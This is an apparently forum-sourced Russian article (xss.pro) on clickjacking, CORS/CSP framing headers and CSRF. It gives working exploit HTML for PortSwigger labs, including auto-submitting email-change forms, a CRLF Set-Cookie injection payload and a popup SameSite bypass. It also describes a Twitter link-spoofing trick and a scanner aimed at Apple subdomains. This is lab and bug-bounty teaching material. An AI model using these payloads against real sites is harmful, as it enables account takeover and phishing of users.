./tik
Я уверен, вы скучали по мне, вообще-то эта статья должна была быть о XSS и SQL-инъекциях, но я хочу, чтобы они были действительно хороши, поэтому я работаю над ними (просмотр аниме и размышление считаются работой).Цель: расширить дискуссию о кликджекинге, объединив всестороннюю техническую информацию с практическими демонстрациями.
Словарь: перехват кликов/кликджекинг/clickjacking
Содержание:
- История
- История с (X) крестиком
- Что такое Clickjacking?
- Что такое CSRF?
- Тык и Вход
- Ну ок ок, ближе к делу, что то нашел от этого?
История
Иногда бывает так, что вы не можете найти никаких уязвимостей, сколько бы ни старались, особенно когда область применения (scope) довольно обширна. В таких случаях возникает потребность внимательно рассмотреть контроль доступа или уязвимости, связанные с перехватом кликов (clickjacking). Данная статья посвящена уязвимостям, связанным с перехватом кликов, а также методам их автоматизации.Итак, как всегда, я сидел в кафе и решил провести поиск уязвимостей, в данном случае на example.com. Я нашел несколько случаев XSS, но этого оказалось недостаточно, поэтому я решил проверить поддомены на clickjacking. Я обнаружил несколько уязвимых доменов, составил отчет, но получил отказ. Почему? Потому что компания (программа) не принимает уязвимости, которые могут быть использованы только через фишинг. Это была моя ошибка, так как я не уделял должного внимания требованиям программы.
История с (X) крестиком
Давным-давно, не помню когда, я решил проверить Твиттер, проверил обычные функции и обнаружил забавную особенность =) Не уязвимость, а особенность! Эта функция позволяла нам показывать одну ссылку в профиле, но открывала другую ссылку. Если бы это была уязвимость, это называлось бы "Подмена контента", но это было сделано самими X (например, Twitter) специально.Поэтому, когда мы обычно редактируем наш профиль и меняем наше местоположение, мы видим только один параметр, связанный с веб-сайтом, и это "location".
Изображение [1]
Изображение [2]
Теперь давайте отредактируем наш профессиональный профиль, для этого мы должны сначала запустить наш профессиональный профиль, нажать на "Profile Spotlight" и нажать "Create" в разделе "Location". Мы должны выбрать "Website" и добавить любой веб-сайт, который мы хотим, пусть это будет "google.com ". Затем мы должны добавить "Address", вы можете добавить что угодно случайное, в основном это не имеет значения. После этого нам просто нужно сохранить изменения.
Изображение [3]
Изображение [4]
Изображение [5]
Изображение [6]
Изображение [7]
Изображение [8]
Теперь мы создали наш профиль, выполнен запрос "создать", он используется для создания профессионального профиля, которого у нас на самом деле нет, нам нужен запрос "обновить", чтобы мы могли обновить домен, на который идет перенаправление, в любое удобное для нас время. Эта часть может сбить с толку, задавайте вопросы, если они у вас есть.
Итак, чтобы получить запрос "обновить", мы должны снова отредактировать профиль и указать какой-нибудь другой домен. Итак, я отредактировал профессиональный профиль, включил "местоположение", нажав на кнопку, затем отредактировал профиль и сменил веб-сайт с google.com к instagram.com и сохранил свой профиль.
Изображение [9]
Изображение [10]
Изображение [11]
Изображение [12]
Изображение [13]
Изображение [14]
Теперь давайте проверим наш запрос BurpSuite, мы видим, что идет запрос на обновление, и у него есть параметры "display_url" и "expanded_url", "display_url" - это URL, который будет показан, в то время как "expanded_url" - это тот, который действительно откроется. Так что посмотрим"instagram.com "но она откроется"xss.pro ".
Изображение [15]
Изображение [16]
Это всего лишь простая история из прошлого, которой, как я подумал, было бы неплохо поделиться. Эта функция классная.
О, пока я не забыл пример профиля в Крестике (Твиттере), где вы нажимаете на instagram, но открывает наш форум: https://twitter.com/snowboarde1996
Что такое Clickjacking?
Clickjacking, атака, направленная на изменение пользовательского интерфейса, представляет угрозу не только на теоретическом уровне, но и имеет реальные последствия. Мы рассмотрим уязвимости с использованием тематических исследований, создадим уязвимый веб-сайт и продемонстрируем общие методы защиты веб-приложений от атак, связанных с перехватом кликов.Когда дело доходит до того, что я сделал в Twitter, согласно одному из ресурсов.
1. Перехват по гиперссылкам - когда злоумышленники используют мошеннические скрипты для размещения ‘законных’ ссылок на исходном сайте, чтобы перехватить их назначение. Источник: https://www.zdnet.com/article/clickjacking-scripts-found-on-613-popular-sites-academics-say/
Но все же, это особенность (feature) =)
Известные уязвимости для перехвата кликов были обнаружены на различных платформах, включая Facebook, но это также рассматривалось как функция.
Facebook быстро отреагировал на отчет, но не стал устранять проблему, поскольку считает, что это не проблема безопасности до тех пор, пока она не влияет на целостность учетной записи (например, изменение настроек), утверждает исследователь. Источник: https://www.bleepingcomputer[.]com/news/security/the-clickjacking-bug-that-facebook-wont-fix/
Что такое CORS?
Совместное использование ресурсов разных источников (CORS - Cross-origin resource sharing) облегчает модуляцию веб-приложений в разных источниках, предоставляя им возможность запрашивать ресурсы из разных доменов.
Что такое CSP?
Политика безопасности содержимого (CSP - Content Security Policy) - это еще один важный механизм безопасности, определяющий набор правил, которые сообщают браузеру об источниках, из которых веб-страница может загружать содержимое.
В чем разница между CORS и CSP?
CORS разрешает/запрещает нашему веб-сайту предоставлять разрешения другому веб-сайту на чтение данных с нашего веб-сайта, в то время как CSP разрешает/запрещает нашему веб-сайту загружать контент.
Подумайте об этом вот так, CORS запрещает google.com от считывания данных из xss.pro , в то время как CSP позволяет загружать контент из jsdelivr.net .
Заголовки CORS:
Access-Control-Allow-Origin: Этот заголовок определяет, каким источникам разрешен доступ к ресурсам на сервере.
Access-Control-Allow-Credentials: Указывает, могут ли запросы от разных источников включать учетные данные, такие как cookie.
Access-Control-Allow-Methods: Перечисляет HTTP-методы, которые разрешены при выполнении запросов от разных источников.
Access-Control-Allow-Origin: https://xss.pro
Eсли веб-страница загружена с https://xss.pro и он включает в себя скрипт, который пытается сделать запрос к ресурсу на сервере, который включает в себя Access-Control-Allow-Origin: https://xss.pro заголовок, браузер разрешит выполнение этого запроса, поскольку он поступает из разрешенного источника.
X-Frame-Options: SAMEORIGIN
Если веб-страница, обслуживаемая с https://xss.pro включает X-Frame-Options: SAMEORIGIN, ему будет разрешено отображаться только внутри фреймов https://xss.pro.
Заголовок CSP:
Content-Security-Policy: Этот заголовок определяет источники контента (домены), из которых могут загружаться ресурсы.
Content-Security-Policy: frame-ancestors 'self' xss.pro xss.pro;
frame-ancestors - показывает то, каким доменам разрешено встраивать веб-страницу в frame или iframe.
self - Это ключевое слово указывает, что веб-страница может быть встроена в frame или iframe на страницах, обслуживаемых из того же источника
xss.pro и xss.pro - означают, что веб-страница также может быть встроена в frame или iframe на страницах, обслуживаемых с xss.pro и xss.pro . Если веб-страница загружена с одного из этих доменов, она может быть встроена на их страницах.
В Clickjacking мы будем в основном сосредоточены на 2 заголовках, X-Frame-Options и Content-Security-Policy. Давайте возьмем в качестве примера тот же домен, пусть это будет testphp.vulnweb.com . Этот домен не имеет ни одного из следующих заголовков, поэтому он уязвим для перехвата кликов. Прежде чем идти дальше, давайте заглянем в некоторые лаборатории.
Прежде чем приступить к лабораторным работам, давайте сначала проверим CSRF.
Что такое CSRF?
CSRF - Подделка межсайтовых запросов / Cross-Site Request Forgery - это уязвимость, которая позволяет хацкеру совершать несанкционированные действия от имени пользователя. Эта атака происходит, когда пользователя обманом заставляют отправить запрос, и этот запрос рассматривается как законный, поскольку кажется, что он исходит от пользователя.Одним из замечательных примеров CSRF является случай с MySpace. В 2005 году хакер по имени Сэми Камкар использовал атаку CSRF для создания самовоспроизводящегося червя на MySpace. Червь добавлял Сэми в друзья и включил JavaScript-код в профиль пользователя, который затем заразил других пользователей, посетивших этот профиль. Эта атака быстро распространилась по платформе MySpace.
Есть объяснение самого парня о том, как он сконструировал код: https://samy.pl/myspace/tech.html
Как это связано с CSRF? Вы знаете, что обычно, чтобы подписаться на людей, нам приходится нажимать на кнопку в Twitter, в случае с MySpace просмотра чьего-либо профиля было достаточно, чтобы ваш профиль добавил друга без вашего ведома.
Лаборатория №1
URL: https://portswigger.net/web-security/csrf/lab-no-defensesВ этой лаборатории есть простая уязвимость CSRF, при которой пользователь должен изменить адрес электронной почты. На самом деле здесь вообще нет реализации безопасности, я проверил другие лаборатории, в них только 2 заслуживают нашего внимания: "CSRF, где токен дублируется в cookie", "Слабый обход SameSite через обновление cookie".
Итак, когда мы входим в систему с именем "wiener:peter", открывается наш профиль с единственной возможностью - изменить наш адрес электронной почты. Поэтому я сменил свой адрес на test@gmail.com и проверил запрос. Теперь нам нужно создать страницу, которую откроет пользователь, и запрос будет отправлен автоматически, как в MySpace. Для этого мы можем использовать приведенный ниже код. Теперь, когда жертва открывает веб-страницу, запрос отправляется жертвой.
Код:
<!DOCTYPE html>
<html>
<head>
<title>POST Request Form</title>
</head>
<body>
<form id="postForm" action="https://XXXXXXXXXX.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="test1234@gmail.com">
<input type="submit" value="Submit">
</form>
<script>
window.addEventListener("load", function() {
document.getElementById("postForm").submit();
});
</script>
</body>
</html>
Изображение [17]
Изображение [17]
Изображение [18]
Лаборатория №2
URL: https://portswigger.net/web-security/csrf/bypassing-token-validation/lab-token-duplicated-in-cookieВ этой лабораторной работе у нас есть случай, когда токен csrf находится как в файле cookie, так и в параметре POST. Мы входим в систему как обычно и меняем адрес электронной почты. Когда мы проверяем запросы, мы видим 2 одинаковых токена csrf. Я не смог там ничего найти, и эксплойт, который я написал ранее, не сработал.
Изображение [19]
Изображение [20]
Немного поиграв с лабораторией, я обнаружил, что термин, который я ищу, отражается в файле cookie "LastSearchTerm". Я думал, что могу просто добавить еще одно печенье, но когда я попробовал, это не сработало.
Изображение [21]
Изображение [22]
Изображение [23]
Изображение [24]
Единственное, что у меня сейчас на уме, - это добавить еще один "Set-Cookie" с нужным мне значением. Когда я это сделал, это тоже не сработало. "Set-Cookie" должен быть в новой строке.
Изображение [25]
Изображение [26]
Возврат каретки (CR)
Символ CR указывает на конец текущей строки текста. В нашем случае нам нужно, чтобы это указывало на окончание первого "Set-Cookie", чтобы мы могли добавить еще один. В языках программирования он представлен как '\r'. Мы будем использовать представление в кодировке URL, поскольку передаем его через URL, который равен% 0D
Линейная подача (LF)
Символ LF используется для перемещения точки вставки на следующую строку. В нашем случае мы добавим это так, чтобы второй "Set-Cookie", который мы попытаемся добавить, был в новой строке. В языках программирования он представлен как '\n'. Мы будем использовать представление в кодировке URL, поскольку передаем его через URL, который равен% 0A
Наша полезная нагрузка:
test;%20%0D%0ASet-Cookie:%20csrf=xssxssxss
Изображение [27]
Изображение [28]
SameSite - это атрибут, который определяет, когда и как следует отправлять cookie в контексте разных источников.
SameSite=Strict - cookie отправляются только в контексте первой стороны, что означает, что они не отправляются в межсайтовых запросах.
SameSite=Lax - cookie отправляются на верхнем уровне, но не для запросов, сделанных через сторонние ресурсы.
SameSite=None - cookie отправляются как с запросами верхнего уровня, так и с запросами третьих лиц. Это атрибут, который позволяет использовать cookie в контексте перекрестного происхождения.
Я написал эксплойт и запустил его, но он выдал мне сообщение об ошибке, сообщающее, что мой токен CSRF неверен. Когда я проверил запросы, я увидел, что, несмотря на отправку "Set-Cookie", файлы cookie не добавляются в следующем запросе. Как работал эксплойт? Он отправил запрос "поиск", который внутри источникa (src) изображения, а затем отправил запрос "изменение электронной почты".
Изображение [29]
Изображение [30]
Изображение [31]
Изображение [32]
Я использовал атрибут "SameSite" и установил для него значение "None", чтобы перекрестные запросы работали, и cookie, который был получен из первого запроса, был отправлен во втором запросе. Это сработало.
Изображение [33]
Изображение [34]
Изображение [35]
Изображение [36]
Это эксплойт, который я использовал:
Код:
<!DOCTYPE html>
<html>
<head>
<title>POST Request Form</title>
<script>
window.onload = function() {
document.getElementById("postForm").submit();
}
</script>
</head>
<body>
<form id="postForm" action="https://XXXXXXXXXX.web-security-academy.net/my-account/change-email" method="POST">
<input type="hidden" name="email" value="test12345@gmail.com">
<input type="hidden" name="csrf" value="xssxssxss">
</form>
<img src="https://XXXXXXXXXX.web-security-academy.net/?search=test;%20%0D%0ASet-Cookie:%20csrf=xssxssxss;%20SameSite=None">
</body>
</html>Лаборатория №3
URL: https://portswigger.net/web-securit...lab-samesite-strict-bypass-via-cookie-refreshВ этой лаборатории есть OAuth, который все усложняет. Итак, я сначала вошел в социальную сеть и сменил свой адрес электронной почты. Затем я проверил запросы, которые происходили, пока я это делал.
Первый запрос - это вход в систему, в нём есть URL-адрес "refresh", на который он перенаправляется после входа в систему. После первого редиректа происходит второй редирект, а затем мы получаем сессионный cookie, который используется в POST-запросе для изменения адреса электронной почты.
Лабораторная подсказка предоставляет нам всплывающий (popup) код, который мы можем использовать. Но что мы должны делать? Итак, мы должны отправить запрос GET на вход в социальную сеть, который перенаправит нас 2 раза, а затем мы получим наш cookie. После получения cookie мы должны отправить форму для изменения нашего адреса электронной почты.
Код:
<script> window.onclick = () => { window.open('about:blank') } </script>
Код:
<!DOCTYPE html>
<html>
<head>
<form method="POST" id="postForm" action="https://XXXXXXXXXX.web-security-academy.net/my-account/change-email">
<input type="hidden" name="email" value="test@gmail.com">
</form>
</head>
<body>
<p>Click anywhere on the page</p>
<script>
window.onclick = () => {
const popup = window.open('https://XXXXXXXXXX.web-security-academy.net/social-login', 'PopupWindow', 'height=600,width=800');
if (!popup) {
alert('Please enable pop-ups for this site.');
return;
}
setTimeout(changeEmail, 6000);
}
function changeEmail() {
// Submit the form
const form = document.getElementById("postForm");
if (form) {
form.submit();
}
}
</script>
</body>
</html>Итак, как насчет кликджекинга?
Лаборатории, которые я нашел о кликджекинге, - это не те, о которых я говорю. Мы должны искать iframes, которые могут быть встроены в другие веб-страницы. Что я имею в виду? Помните заголовки CSP и X-Frame-Options, о которых мы говорили, когда эти заголовки не установлены, веб-сайт уязвим для перехвата кликов, поскольку он может быть добавлен как iframe на другой веб-сайт.
Представьте, что у нас есть магазин, скажем shop.example.com и эти заголовки не заданы, это означает, что любой злоумышленник может создать свой собственный веб-сайт и добавить нашу платежную систему в качестве iframe, запрос будет отправлен на наш веб-сайт, но данные кредитной карты будут перехвачены таким образом.
Другой пример?
Хакеры здесь добавляют iframe в магазины и крадут кредитные карты, это результат того, что эти заголовки не установлены. Я думаю, достаточно сурово =)
Итак, давайте напишем инструмент, который сам будет находить уязвимости для перехвата кликов и выдавать нам результат. Но прежде мы должны разобраться в основных вещах.
Как будет оцениваться степень серьезности?
Большинство входных данных, логин, регистрация, ввод кредитной карты и т.д. - это результаты, которые можно использовать.
Что должен делать инструмент?
Проверьте наличие заголовков, если оба заголовка не существуют, это покажет успех.
Что должен принимать инструмент?
Файл со списком доменов для проверки.
Я буду использовать список общедоступных поддоменов Apple - https://gist.github.com/Sachinart/35370c725d25f79af670a4d6cb0d4657
Тык и Вход
Итак, я скачал поддомены Apple и отсортировал их (очистил мусорные поддомены). Мусорные поддомены - это такие, как этот {IP}.example.com . Я дал файлу имя "yabloko.txt ".
Изображение [37]
Итак, после того, как я создал "тык", я понял, что использование только этого инструмента не принесет большой пользы, мы обнаружили, что домены уязвимы для кликджекинга, и что? Должны ли мы проверять их один за другим, как будто нам больше нечего делать? Итак, я разработал "вход", который проверяет, есть ли какие-либо входные данные или нет.
П.С. я сам угораю от имён.
Ну ок ок, ближе к делу, что то нашел от этого?
Работает как по маслу, но у эпл такая тема значит, вход происходит в основном либо от idmsa.apple.com либо от idmsac.apple.com. Ну так это нам зачем тогда? Я искал редиректы в которых может находится секретный вход либо секретные данные. Я нашел кстати.Ссылка проекта: https://xss.pro/threads/101623/
Изображение [38]
Можно автоматизировать чтобы редиректы чекались и ответа (для кого то мусора) было ещё меньше, но этим мы можем упустить как раз таки важные точки входа.
Изображение [39]
Изображение [40]
Нашел вход в SAP NetWeaver который уязвим к клиджекингу, хоть и идет редирект в idmsa.apple.com.
А где кнопка бабло?
Она есть, в основном НЕ работает, тыкать нужно много =)А если серьезно, в основном получите спасибо котоpый в карман не положишь, но иногда платят, например тут оплатили - https://hackerone.com/reports/405342 - через наш софт автоматизация легкая.
Автор grozdniyandy
Источник https://xss.pro/
Последнее редактирование:
